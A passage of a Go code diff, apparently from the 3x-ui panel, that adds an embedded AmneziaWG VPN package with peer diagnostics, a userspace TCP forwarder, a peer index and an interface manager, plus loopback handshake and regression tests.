+// supplies. A peer that has never handshaked still appears here (with a
+// zero LastHandshake) rather than being silently absent, so an admin can
+// tell "misconfigured client" apart from "client just hasn't connected".
+type ClientDiagnostic struct {
+	Email         string
+	LastHandshake time.Time
+	RxBytes       uint64
+	TxBytes       uint64
+	Endpoint      string
+	// AllowedIPs is comma-joined, from the running Device's own UAPI dump
+	// when it has ever handshaked (so a re-IP is reflected immediately);
+	// falls back to the peer's configured AllowedIPs otherwise.
+	AllowedIPs string
+}
+
+// Connected reports whether this client has ever completed a handshake.
+func (c ClientDiagnostic) Connected() bool {
+	return !c.LastHandshake.IsZero()
+}
+
+// Diagnostics is a read-only snapshot of one embedded AmneziaWG inbound's
+// live state. Gathering it can never itself change anything -- it only
+// reads the already-running Device's own UAPI dump, never writes to it.
+type Diagnostics struct {
+	Running    bool
+	ListenPort int
+	Clients    []ClientDiagnostic
+}
+
+// Diagnose builds a live snapshot for inbound id, cross-referenced against
+// peers (the inbound's currently configured client list -- the caller
+// supplies this since amneziawgnet has no DB access of its own). Running
+// stays false (with an empty Clients list) when there's no managed
+// instance for this id right now -- disabled, not yet reconciled, or never
+// started -- which is itself useful information for an admin, not an error.
+func Diagnose(id int, peers []amneziawg.Peer) Diagnostics {
+	dev, _, ok := GetManager().Lookup(id)
+	if !ok {
+		return Diagnostics{}
+	}
+	return diagnoseDevice(dev, peers)
+}
+
+func diagnoseDevice(dev *Device, peers []amneziawg.Peer) Diagnostics {
+	diag := Diagnostics{Running: true}
+
+	dump, err := dev.IpcGet()
+	if err != nil {
+		return diag
+	}
+	listenPort, states := parseUAPIDump(dump)
+	diag.ListenPort = listenPort
+
+	diag.Clients = make([]ClientDiagnostic, 0, len(peers))
+	for _, p := range peers {
+		hexKey, err := wireguard.KeyToHex(p.PublicKey)
+		if err != nil {
+			continue
+		}
+		st := states[hexKey]
+		cd := ClientDiagnostic{Email: p.Email, RxBytes: st.rxBytes, TxBytes: st.txBytes, Endpoint: st.endpoint}
+		if st.lastHandshakeSec > 0 {
+			cd.LastHandshake = time.Unix(st.lastHandshakeSec, 0)
+		}
+		if len(st.allowedIPs) > 0 {
+			cd.AllowedIPs = strings.Join(st.allowedIPs, ", ")
+		} else {
+			cd.AllowedIPs = strings.Join(p.AllowedIPs, ", ")
+		}
+		diag.Clients = append(diag.Clients, cd)
+	}
+	return diag
+}
+
+type peerUAPIState struct {
+	lastHandshakeSec int64
+	rxBytes, txBytes uint64
+	endpoint         string
+	allowedIPs       []string
+}
+
+// parseUAPIDump reads a Device.IpcGet() text dump: device-level keys first
+// (only listen_port matters here), then one block per peer starting with
+// its own public_key= line. Keyed by lowercase-hex public key, matching
+// the hex form IpcGet itself emits (see wireguard.KeyToHex for the same
+// base64-to-hex conversion applied to our own stored keys before lookup).
+func parseUAPIDump(dump string) (listenPort int, states map[string]peerUAPIState) {
+	states = make(map[string]peerUAPIState)
+	var current string
+
+	scanner := bufio.NewScanner(strings.NewReader(dump))
+	for scanner.Scan() {
+		key, value, ok := strings.Cut(scanner.Text(), "=")
+		if !ok {
+			continue
+		}
+		switch key {
+		case "listen_port":
+			listenPort, _ = strconv.Atoi(value)
+		case "public_key":
+			current = value
+			states[current] = peerUAPIState{}
+		case "last_handshake_time_sec":
+			st := states[current]
+			st.lastHandshakeSec, _ = strconv.ParseInt(value, 10, 64)
+			states[current] = st
+		case "rx_bytes":
+			st := states[current]
+			st.rxBytes, _ = strconv.ParseUint(value, 10, 64)
+			states[current] = st
+		case "tx_bytes":
+			st := states[current]
+			st.txBytes, _ = strconv.ParseUint(value, 10, 64)
+			states[current] = st
+		case "endpoint":
+			st := states[current]
+			st.endpoint = value
+			states[current] = st
+		case "allowed_ip":
+			st := states[current]
+			st.allowedIPs = append(st.allowedIPs, value)
+			states[current] = st
+		}
+	}
+	return listenPort, states
+}

+ 196 - 0
internal/amneziawgnet/diagnostics_test.go

@@ -0,0 +1,196 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/netip"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+func TestDiagnoseNoRunningInstance(t *testing.T) {
+	diag := Diagnose(99999, nil)
+	if diag.Running {
+		t.Error("Diagnose on an id with no managed Device should report Running=false")
+	}
+	if len(diag.Clients) != 0 {
+		t.Errorf("Clients = %v, want empty when nothing is running", diag.Clients)
+	}
+}
+
+// Real handshake + real TCP payload (mirrors
+// TestNewDeviceHandshakeForwarderAndIdentity's own setup), plus a second,
+// never-connected peer, so the test proves both states diagnoseDevice must
+// tell apart: a peer with a real handshake and traffic, and a configured
+// peer that simply hasn't shown up yet.
+func TestDiagnoseDeviceReportsListenPortAndPeerState(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+	_, idlePub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate idle-peer keypair: %v", err)
+	}
+
+	const listenPort = 58713 // distinct from device_test.go's fixed port
+	const activeEmail = "[email protected]"
+	const idleEmail = "[email protected]"
+
+	inst := amneziawg.Instance{
+		Id:            2,
+		InterfaceName: "awgtest2",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{Email: activeEmail, PublicKey: clientPub, AllowedIPs: []string{"10.202.0.2/32"}},
+			{Email: idleEmail, PublicKey: idlePub, AllowedIPs: []string{"10.202.0.3/32"}},
+		},
+	}
+
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	// Attach before Configure -- see newUnconfiguredDevice's doc comment.
+	// Registering the forwarder doesn't require any peer to be configured
+	// yet, so this ordering is free; it's Configure's IpcSet that must
+	// never run before the forwarder is registered.
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, _ netip.AddrPort) {
+		defer conn.Close()
+		io.Copy(io.Discard, conn)
+	})
+
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	// diagnoseDevice must work before any client ever connects too: both
+	// peers configured, neither ever handshaked.
+	before := diagnoseDevice(dev, inst.Peers)
+	if !before.Running {
+		t.Fatal("Running = false for a Device that's actually up")
+	}
+	if before.ListenPort != listenPort {
+		t.Errorf("ListenPort = %d, want %d", before.ListenPort, listenPort)
+	}
+	if len(before.Clients) != 2 {
+		t.Fatalf("Clients count = %d, want 2 (before any handshake)", len(before.Clients))
+	}
+	for _, c := range before.Clients {
+		if c.Connected() {
+			t.Errorf("client %q reports Connected() before any real handshake", c.Email)
+		}
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	wantDest := netip.MustParseAddrPort("10.202.9.9:9999")
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var lastErr error
+	for {
+		conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
+		if dialErr == nil {
+			io.WriteString(conn, "diagnostics-test-payload")
+			conn.Close()
+			break
+		}
+		lastErr = dialErr
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", lastErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+
+	// The handshake and byte counters update asynchronously with the dial
+	// returning; poll rather than sleeping a fixed guess.
+	deadline := time.Now().Add(5 * time.Second)
+	var after Diagnostics
+	for {
+		after = diagnoseDevice(dev, inst.Peers)
+		activeConnected := false
+		for _, c := range after.Clients {
+			if c.Email == activeEmail && c.Connected() {
+				activeConnected = true
+			}
+		}
+		if activeConnected || time.Now().After(deadline) {
+			break
+		}
+		time.Sleep(50 * time.Millisecond)
+	}
+
+	var active, idle *ClientDiagnostic
+	for i := range after.Clients {
+		switch after.Clients[i].Email {
+		case activeEmail:
+			active = &after.Clients[i]
+		case idleEmail:
+			idle = &after.Clients[i]
+		}
+	}
+	if active == nil || idle == nil {
+		t.Fatalf("expected both configured peers in Clients, got %v", after.Clients)
+	}
+	if !active.Connected() {
+		t.Error("active peer: Connected() = false after a real handshake + payload")
+	}
+	if active.RxBytes == 0 {
+		t.Error("active peer: RxBytes = 0 after a real client->server payload")
+	}
+	if idle.Connected() {
+		t.Error("idle peer: Connected() = true, but it never dialed anything")
+	}
+	if idle.RxBytes != 0 || idle.TxBytes != 0 {
+		t.Errorf("idle peer: RxBytes=%d TxBytes=%d, want both 0", idle.RxBytes, idle.TxBytes)
+	}
+}

+ 43 - 0
internal/amneziawgnet/forwarder.go

@@ -0,0 +1,43 @@
+package amneziawgnet
+
+import (
+	"net/netip"
+
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+	"gvisor.dev/gvisor/pkg/waiter"
+)
+
+// AttachTCPForwarder attaches a TCP forwarder to gstack in promiscuous +
+// spoofing mode, so it accepts connections addressed to any destination --
+// not just the stack's own configured local address -- and hands the
+// handler both the accepted connection and the tunnel client's real,
+// dynamically-arbitrary destination (recovered from the connection's own
+// TransportEndpointID, not from any preconfigured routing table). This is
+// the mechanism the whole embedded-AmneziaWG design depends on: what the
+// handler does with that destination (dial it directly, relay it into
+// Xray's SOCKS5 inbound, ...) is entirely up to the caller.
+//
+// Adapted from xtls/xray-core's proxy/wireguard/tun.go createForwarder (MIT).
+func AttachTCPForwarder(gstack *stack.Stack, handler func(conn *gonet.TCPConn, dest netip.AddrPort)) {
+	enablePromiscuousRouting(gstack)
+
+	fwd := tcp.NewForwarder(gstack, 0, 65535, func(r *tcp.ForwarderRequest) {
+		go func(r *tcp.ForwarderRequest) {
+			var wq waiter.Queue
+			id := r.ID()
+
+			ep, err := r.CreateEndpoint(&wq)
+			if err != nil {
+				r.Complete(true)
+				return
+			}
+			dest := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
+			handler(gonet.NewTCPConn(&wq, ep), dest)
+			ep.Close()
+			r.Complete(false)
+		}(r)
+	})
+	gstack.SetTransportProtocolHandler(tcp.ProtocolNumber, fwd.HandlePacket)
+}

+ 62 - 0
internal/amneziawgnet/identity.go

@@ -0,0 +1,62 @@
+package amneziawgnet
+
+import (
+	"net/netip"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+)
+
+// PeerIndex resolves a decapsulated connection's tunnel-internal source
+// address back to the peer it belongs to, the same role Xray-core's own
+// wireguard proxy's GetUserByAddr plays -- sourced here from an
+// amneziawg.Instance's own Peers (already carries Email per peer, no new
+// data needed) rather than a separate user table.
+type PeerIndex struct {
+	entries []peerIndexEntry
+}
+
+type peerIndexEntry struct {
+	prefix netip.Prefix
+	peer   amneziawg.Peer
+}
+
+// NewPeerIndex builds a lookup index from peers' AllowedIPs. Entries with an
+// unparseable AllowedIPs value are skipped rather than failing the whole
+// index -- by the time an Instance reaches this package, AllowedIPs has
+// already been accepted at save time (see internal/amneziawg's own
+// validation), so a bad entry here would only mean stale/manually-edited
+// data, not something worth refusing to serve the rest of the peers over.
+func NewPeerIndex(peers []amneziawg.Peer) *PeerIndex {
+	idx := &PeerIndex{}
+	for _, p := range peers {
+		for _, a := range p.AllowedIPs {
+			prefix, err := netip.ParsePrefix(a)
+			if err != nil {
+				continue
+			}
+			idx.entries = append(idx.entries, peerIndexEntry{prefix: prefix, peer: p})
+		}
+	}
+	return idx
+}
+
+// Lookup returns the peer whose AllowedIPs most specifically contains addr --
+// the same longest-prefix-match rule a real AmneziaWG interface's own
+// AllowedIPs routing table uses for outbound packets, applied here in
+// reverse to attribute an inbound (tunnel-internal-source) packet back to
+// its owning peer.
+func (idx *PeerIndex) Lookup(addr netip.Addr) (amneziawg.Peer, bool) {
+	bestBits := -1
+	var bestPeer amneziawg.Peer
+	for _, e := range idx.entries {
+		if e.prefix.Bits() <= bestBits || !e.prefix.Contains(addr) {
+			continue
+		}
+		bestBits = e.prefix.Bits()
+		bestPeer = e.peer
+	}
+	if bestBits < 0 {
+		return amneziawg.Peer{}, false
+	}
+	return bestPeer, true
+}

+ 343 - 0
internal/amneziawgnet/manager.go

@@ -0,0 +1,343 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"os"
+	"strings"
+	"sync"
+
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// verboseLoggerIfEnabled returns a real amneziawg-go verbose logger (real
+// handshake/keepalive/decrypt-error diagnostics -- the device is otherwise
+// completely silent by design, see DeviceOptions' own doc comment) when the
+// AMNEZIAWGNET_DEBUG environment variable is set to any non-empty value,
+// nil otherwise (NewDevice's own default -- LogLevelSilent -- applies).
+// Deliberately opt-in and env-var-gated rather than a permanent log-level
+// setting: this device's own protocol-level logging has no per-peer
+// filtering, so enabling it on a busy real inbound would be noisy; it's
+// meant for exactly this kind of "why did this one handshake go quiet"
+// investigation on a low-traffic box.
+func verboseLoggerIfEnabled(inboundID int) *device.Logger {
+	if os.Getenv("AMNEZIAWGNET_DEBUG") == "" {
+		return nil
+	}
+	return device.NewLogger(device.LogLevelVerbose, fmt.Sprintf("(awg#%d) ", inboundID))
+}
+
+// Desired pairs an amneziawg.Instance (the shared, DB-backed shape) with
+// this package's embedded-only DeviceOptions -- see DeviceOptions' doc.
+type Desired struct {
+	Instance amneziawg.Instance
+	Options  DeviceOptions
+}
+
+// managed is one running embedded interface: the live Device, its UDP relay
+// sessions, its open per-client port-forward listeners, the peer lookup
+// index built from its current peer list, and enough of its own
+// configuration to decide whether a later Ensure call can reconfigure it in
+// place or needs to rebuild it from scratch.
+type managed struct {
+	dev          *Device
+	udpRelay     *UDPRelay
+	portForwards *PortForwardSet
+	peers        *PeerIndex
+	inst         amneziawg.Instance
+	structFP     string
+	uapiConfig   string
+}
+
+// Manager owns the set of running embedded AmneziaWG interfaces, keyed by
+// inbound id -- the same shape as internal/mtproto.Manager (GetManager()
+// + sync.Once, mu-guarded map, Ensure/Reconcile/StopAll/HasRunning), so a
+// caller already familiar with that Manager needs to learn nothing new here.
+// Every Device this Manager builds gets its TCP forwarder and UDP handler
+// attached automatically (see ensureLocked), relaying into that instance's
+// own loopback SOCKS5 inbound (SOCKSPortForInbound/SocksPassword) -- a
+// caller only needs to keep calling Ensure/Reconcile with fresh Instance
+// data; it doesn't need to know relay.go exists at all.
+type Manager struct {
+	mu     sync.Mutex
+	ifaces map[int]*managed
+}
+
+var (
+	managerOnce sync.Once
+	manager     *Manager
+)
+
+// GetManager returns the process-wide embedded-AmneziaWG manager singleton.
+func GetManager() *Manager {
+	managerOnce.Do(func() {
+		manager = &Manager{ifaces: map[int]*managed{}}
+	})
+	return manager
+}
+
+// Ensure brings inbound d.Instance.Id's embedded interface to the state
+// d describes, creating it if it doesn't exist yet. A no-op only when
+// nothing has changed since the last successful Ensure/Reconcile.
+func (m *Manager) Ensure(d Desired) error {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	return m.ensureLocked(d)
+}
+
+// ensureLocked decides between three actions: nothing changed since the
+// last apply (skip entirely -- this is the common case on every 10s
+// reconcile tick when no admin edit happened, and it MUST actually skip the
+// IpcSet call, not just look like it should: amneziawg-go's IpcSet always
+// includes replace_peers=true -- see buildUAPIConfig -- and its own
+// implementation of that op is device.RemoveAllPeers(), unconditionally,
+// even when the new peer list is byte-identical to the old one. A real
+// production bug, found via a live test connection that reset every ~10s:
+// calling IpcSet on every tick regardless of whether anything changed was
+// tearing down every peer's live handshake/session state on every single
+// reconcile, so no connection could ever survive past one tick); only
+// peers/obfuscation/keys/listen_port changed (reconfigure the existing
+// Device in place via IpcSet); or the interface's own address(es)/MTU
+// changed (these are fixed at netstack-construction time, so the only
+// option is closing the old Device and building a fresh one).
+func (m *Manager) ensureLocked(d Desired) error {
+	inst, opts := d.Instance, d.Options
+	if opts.Logger == nil {
+		opts.Logger = verboseLoggerIfEnabled(inst.Id)
+	}
+	structFP := addressFingerprint(inst)
+
+	cur, exists := m.ifaces[inst.Id]
+	// Captured before either branch below: peers/AllowedIPs can change
+	// (and so can each peer's IPv6 alias) without the address/MTU
+	// fingerprint changing at all, so both the reconfigure-in-place branch
+	// and the rebuild branch need to diff IPv6 aliases against whatever
+	// this id had before, not just on a rebuild.
+	var oldInst amneziawg.Instance
+	if exists {
+		oldInst = cur.inst
+	}
+
+	if exists && cur.structFP == structFP {
+		conf, err := buildUAPIConfig(inst, opts)
+		if err != nil {
+			return fmt.Errorf("amneziawgnet: %w", err)
+		}
+		// True no-op: the rendered UAPI config -- which already covers every
+		// field IpcSet can act on (keys, listen port, obfuscation, AWG 3.0
+		// options, the full peer list) -- is byte-identical to what's
+		// already live. Comparing the rendered string instead of inst
+		// directly means this can never drift out of sync with whatever
+		// buildUAPIConfig actually reads, the way a hand-maintained field
+		// list could.
+		if conf == cur.uapiConfig {
+			cur.peers = NewPeerIndex(inst.Peers)
+			cur.inst = inst
+			applyV6Aliases(diffV6Aliases(oldInst, inst))
+			// buildUAPIConfig never reads ForwardedPorts (it's a panel-level
+			// concept, not a WireGuard UAPI field), so a ForwardedPorts-only
+			// edit renders byte-identical here and takes this exact no-op
+			// branch -- without this call, that edit would silently never
+			// open/close a listener until some unrelated change also
+			// happened to touch this inbound. See
+			// TestForwardedPortsOnlyChangeStillReconcilesPortForwards.
+			cur.portForwards.Reconcile(inst)
+			return nil
+		}
+		if err := cur.dev.IpcSet(conf); err != nil {
+			return fmt.Errorf("amneziawgnet: reconfigure inbound %d: %w", inst.Id, err)
+		}
+		cur.peers = NewPeerIndex(inst.Peers)
+		cur.inst = inst
+		cur.uapiConfig = conf
+		applyV6Aliases(diffV6Aliases(oldInst, inst))
+		cur.portForwards.Reconcile(inst)
+		return nil
+	}
+
+	if exists {
+		cur.udpRelay.Close()
+		cur.portForwards.Close()
+		cur.dev.Close()
+		delete(m.ifaces, inst.Id)
+	}
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		return err
+	}
+
+	relay := socksRelayForInstance(inst)
+	udpRelay := NewUDPRelay(relay, dev.Stack)
+	portForwards := NewPortForwardSet(dev.Stack, inst.Id)
+	inboundID := inst.Id // captured for the closures below, which outlive this call
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
+		if err != nil {
+			conn.Close()
+			return
+		}
+		// Re-fetched on every connection, not captured once at attach time:
+		// a reconfigure-in-place (peers added/removed, no rebuild) replaces
+		// cur.peers without ever re-attaching the forwarder, so a stale
+		// captured index would silently miss newly-added peers.
+		_, peers, ok := m.Lookup(inboundID)
+		if !ok {
+			conn.Close()
+			return
+		}
+		peer, ok := peers.Lookup(srcAddrPort.Addr().Unmap())
+		if !ok {
+			conn.Close()
+			return
+		}
+		relay.RelayTCP(conn, peer.Email, dest)
+	})
+	AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+		_, peers, ok := m.Lookup(inboundID)
+		if !ok {
+			return
+		}
+		peer, ok := peers.Lookup(src.Addr())
+		if !ok {
+			return
+		}
+		udpRelay.Handle(src, dst, peer.Email, payload)
+	})
+
+	// Handlers are registered on dev.Stack above, BEFORE Configure's IpcSet
+	// can start any peer's receive goroutine -- see newUnconfiguredDevice's
+	// doc comment for why this order (not convenience) is what makes this
+	// race-free.
+	if err := dev.Configure(inst, opts); err != nil {
+		udpRelay.Close()
+		portForwards.Close()
+		return err
+	}
+	// dev.Configure already rendered and applied this exact config
+	// internally; recomputing it here (cheap, pure, guaranteed to succeed
+	// since Configure just proved these inputs are valid) is simpler than
+	// threading the string back out of Configure's own signature, and gives
+	// the no-op check above a correct baseline to compare the next tick
+	// against instead of an empty string.
+	conf, _ := buildUAPIConfig(inst, opts)
+
+	m.ifaces[inst.Id] = &managed{
+		dev:          dev,
+		udpRelay:     udpRelay,
+		portForwards: portForwards,
+		peers:        NewPeerIndex(inst.Peers),
+		inst:         inst,
+		structFP:     structFP,
+		uapiConfig:   conf,
+	}
+	applyV6Aliases(diffV6Aliases(oldInst, inst))
+	portForwards.Reconcile(inst)
+	logger.Infof("amneziawgnet: started embedded interface %s for inbound %d", inst.InterfaceName, inst.Id)
+	return nil
+}
+
+// socksRelayForInstance derives the loopback SOCKS5 relay address/password
+// for inst -- both fully determined by its id and the process-wide
+// password (SOCKSPortForInbound/SocksPassword), so no per-instance state
+// needs threading through Desired/DeviceOptions for this.
+func socksRelayForInstance(inst amneziawg.Instance) SocksRelay {
+	return SocksRelay{
+		Addr:     fmt.Sprintf("127.0.0.1:%d", SOCKSPortForInbound(inst.Id)),
+		Password: SocksPassword(),
+	}
+}
+
+// addressFingerprint captures the two Instance fields that can't be changed
+// on a running Device via IpcSet alone (they're fixed when the gVisor
+// netstack is built) -- everything else (keys, listen port, obfuscation,
+// AWG 3.0 options, peers) amneziawg-go's own UAPI can hot-reconfigure.
+func addressFingerprint(inst amneziawg.Instance) string {
+	return fmt.Sprintf("%d|%s", inst.MTU, strings.Join(inst.Address, ","))
+}
+
+// Reconcile brings every desired instance's embedded interface up to date
+// and stops any managed interface whose inbound is no longer desired --
+// mirroring internal/mtproto.Manager.Reconcile's per-tick contract.
+func (m *Manager) Reconcile(desired []Desired) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+
+	want := make(map[int]struct{}, len(desired))
+	for _, d := range desired {
+		want[d.Instance.Id] = struct{}{}
+	}
+	for id, cur := range m.ifaces {
+		if _, ok := want[id]; ok {
+			continue
+		}
+		applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+		cur.udpRelay.Close()
+		cur.portForwards.Close()
+		cur.dev.Close()
+		delete(m.ifaces, id)
+		logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
+	}
+	for _, d := range desired {
+		if err := m.ensureLocked(d); err != nil {
+			logger.Warningf("amneziawgnet: reconcile failed for inbound %d: %v", d.Instance.Id, err)
+		}
+	}
+}
+
+// Remove tears down inbound id's embedded interface, if any -- mirrors
+// internal/mtproto.Manager.Remove, for a caller that needs to drop a
+// single inbound outside a full Reconcile pass (e.g. the immediate-apply
+// CRUD path in internal/web/runtime/local.go).
+func (m *Manager) Remove(id int) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	cur, exists := m.ifaces[id]
+	if !exists {
+		return
+	}
+	applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+	cur.udpRelay.Close()
+	cur.portForwards.Close()
+	cur.dev.Close()
+	delete(m.ifaces, id)
+	logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
+}
+
+// StopAll tears down every managed interface. Called on panel shutdown.
+func (m *Manager) StopAll() {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for id, cur := range m.ifaces {
+		applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+		cur.udpRelay.Close()
+		cur.portForwards.Close()
+		cur.dev.Close()
+		delete(m.ifaces, id)
+	}
+}
+
+// HasRunning reports whether any embedded interface is currently managed.
+func (m *Manager) HasRunning() bool {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	return len(m.ifaces) > 0
+}
+
+// Lookup returns the running Device and PeerIndex for inbound id, if any --
+// the forwarder/UDP-handler closures ensureLocked attaches use this to
+// re-fetch the current peer index on every connection (see ensureLocked's
+// comment on why), and it's equally available to a test harness or any
+// other caller that wants read access to a managed interface's state.
+func (m *Manager) Lookup(id int) (dev *Device, peers *PeerIndex, ok bool) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	cur, exists := m.ifaces[id]
+	if !exists {
+		return nil, nil, false
+	}
+	return cur.dev, cur.peers, true
+}

+ 343 - 0
internal/amneziawgnet/manager_test.go

@@ -0,0 +1,343 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net"
+	"testing"
+	"time"
+
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestManagerLifecycle exercises Ensure/Reconcile's reconfigure-in-place vs.
+// rebuild split (see ensureLocked's doc comment) and Reconcile's stop path,
+// using a throwaway Manager rather than the process-wide singleton so this
+// test doesn't interact with any other test's state.
+func TestManagerLifecycle(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate keypair: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            3,
+		InterfaceName: "awgtest3",
+		ListenPort:    58714,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.203.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create): %v", err)
+	}
+	if !m.HasRunning() {
+		t.Fatal("HasRunning() = false after Ensure created an interface")
+	}
+	dev1, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+
+	// Same Instance again: same address fingerprint, so this should
+	// reconfigure the existing Device via IpcSet rather than rebuild it --
+	// verify by checking the *Device pointer survived unchanged.
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (unchanged): %v", err)
+	}
+	dev2, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after second Ensure: not found")
+	}
+	if dev1 != dev2 {
+		t.Error("Ensure with an unchanged Instance rebuilt the Device; expected an in-place reconfigure")
+	}
+
+	// Changing the interface address is structural (fixed at netstack
+	// construction time) and must force a rebuild -- verify by checking the
+	// *Device pointer changed.
+	changed := inst
+	changed.Address = []string{"10.203.1.1/24"}
+	if err := m.Ensure(Desired{Instance: changed}); err != nil {
+		t.Fatalf("Ensure (address changed): %v", err)
+	}
+	dev3, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after address-changing Ensure: not found")
+	}
+	if dev3 == dev2 {
+		t.Error("Ensure with a changed address reconfigured in place; expected a rebuild")
+	}
+
+	// Reconcile with nothing desired stops every managed interface.
+	m.Reconcile(nil)
+	if m.HasRunning() {
+		t.Error("HasRunning() = true after Reconcile([]) should have stopped everything")
+	}
+	if _, _, ok := m.Lookup(inst.Id); ok {
+		t.Error("Lookup succeeded after Reconcile([]) removed the interface")
+	}
+}
+
+// TestEnsureUnchangedInstanceDoesNotResetLivePeers is a regression test for a
+// real production bug: an unchanged Ensure call (the common case on every
+// 10s AmneziaWGJob reconcile tick when no admin edit happened) was calling
+// IpcSet unconditionally. amneziawg-go's IpcSet always includes
+// replace_peers=true (see buildUAPIConfig), and its own implementation of
+// that op is device.RemoveAllPeers() -- unconditionally, even when the new
+// peer list is byte-identical to the old one. That tore down every peer's
+// live handshake/session state on every single reconcile tick, so no real
+// connection could ever survive past ~10 seconds. Caught via a live test
+// connection that reset every ~10s with amneziawg-go's own verbose logging
+// enabled (AMNEZIAWGNET_DEBUG) showing "UAPI: Removing all peers" +
+// peer "Stopping"/"Starting" on every tick.
+//
+// Verified here by comparing the *device.Peer pointer LookupPeer returns
+// before and after a no-op Ensure: identical pointer proves the peer object
+// itself survived (no RemoveAllPeers), not just that some higher-level
+// abstraction looks unchanged.
+func TestEnsureUnchangedInstanceDoesNotResetLivePeers(t *testing.T) {
